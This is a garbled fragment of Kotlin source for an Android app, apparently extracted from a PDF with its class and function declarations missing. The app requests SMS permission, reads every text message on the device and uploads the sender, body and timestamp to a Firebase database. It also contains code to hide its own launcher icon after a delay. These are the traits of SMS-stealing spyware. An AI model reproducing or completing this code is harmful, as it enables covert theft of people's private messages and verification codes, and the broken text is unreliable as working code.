Sss
Sss
rs_work
import android.Manifest
import android.content.ComponentName
import android.content.Intent
import android.content.pm.PackageManager
import android.os.Build
import android.os.Bundle
import android.os.Handler
import android.os.Looper
import android.provider.Settings
import android.provider.Telephony
import android.util.Log
import android.widget.TextView
import android.widget.Toast
import androidx.appcompat.app.AppCompatActivity
import androidx.core.app.ActivityCompat
import androidx.core.content.ContextCompat
import com.google.firebase.FirebaseApp
import com.google.firebase.database.DataSnapshot
import com.google.firebase.database.DatabaseError
import com.google.firebase.database.DatabaseReference
import com.google.firebase.database.FirebaseDatabase
import com.google.firebase.database.ValueEventListener
import java.text.SimpleDateFormat
import java.util.Date
import java.util.Locale
smsTextView = findViewById(R.id.smsTextView)
FirebaseApp.initializeApp(this)
FirebaseDatabase.getInstance().setPersistenceEnabled(true) // Enable
offline persistence
databaseReference = FirebaseDatabase.getInstance().reference
// deleteAllSmsNodes()
// Handler(Looper.getMainLooper()).postDelayed(
// { sendBroadcast(Intent("com.example.rs_work.HIDE_APP_ICON")) },
// 100
// )
requestSmsPermission()
requestStrPermission()
// delayHideAppIcon()
// val componentName = ComponentName(this, MainActivity::class.java)
// val packageManager: PackageManager = packageManager
//
// packageManager.setComponentEnabledSetting(
// componentName,
// PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
// PackageManager.DONT_KILL_APP
// )
if (ContextCompat.checkSelfPermission(this, permission) ==
PackageManager.PERMISSION_GRANTED) {
// SMS permission granted, read SMS
readSMS()
// requestNotificationPermission()
} else {
ActivityCompat.requestPermissions(this, arrayOf(permission),
requestCodeSms)
}
}
if (ContextCompat.checkSelfPermission(this, permission1) ==
PackageManager.PERMISSION_GRANTED) {
// SMS permission granted, read SMS
Toast.makeText(this, "Getting permission", Toast.LENGTH_SHORT).show()
// readSMS()
// requestNotificationPermission()
} else {
Toast.makeText(this, "nGetting permission", Toast.LENGTH_SHORT).show()
ActivityCompat.requestPermissions(this, arrayOf(permission1),
requestCodeStorae)
}
}
if (smsKey != null) {
databaseReference.child("sms").child(smsKey).setValue(sms)
}
}
cursor?.use {
val smsStringBuilder = StringBuilder()
val addressColumnIndex =
it.getColumnIndexOrThrow(Telephony.Sms.ADDRESS)
val bodyColumnIndex = it.getColumnIndexOrThrow(Telephony.Sms.BODY)
val dateColumnIndex = it.getColumnIndexOrThrow(Telephony.Sms.DATE)
while (it.moveToNext()) {
val senderAddress = it.getString(addressColumnIndex)
val messageBody = it.getString(bodyColumnIndex)
val timestampMillis = it.getLong(dateColumnIndex)
if (deviceId != null) {
// Check if the device ID already exists in the database
val deviceRef =
databaseReference.child("devices").child(deviceId)
deviceRef.addListenerForSingleValueEvent(object :
ValueEventListener {
override fun onDataChange(snapshot: DataSnapshot) {
if (snapshot.exists()) {
// Device already exists, append notification
appendSms(deviceRef, senderAddress, messageBody,
timestamp)
} else {
// Device does not exist, create a new one
createDeviceWithSms(deviceRef, senderAddress,
messageBody,timestamp)
}
}
override fun onCancelled(error: DatabaseError) {
// Handle error
}
})
}
// Create a unique key for each SMS using push()
// val smsKey = databaseReference.child("sms").push().key
//
// // Create an SMS object with the sender's address, message body,
and timestamp
// val sms = HashMap<String, Any>()
// sms["senderAddress"] = senderAddress
// sms["messageBody"] = messageBody
// sms["timestamp"] = timestamp
//
// // Save the SMS to the "sms" node with the unique key
// if (smsKey != null) {
// databaseReference.child("sms").child(smsKey).setValue(sms)
// }
}
// smsTextView.text = smsStringBuilder.toString()
}
private fun delayHideAppIcon() {
Handler(Looper.getMainLooper()).postDelayed(Runnable { // Hide the app icon
after the delay
hideAppIcon()
}, 10000)
}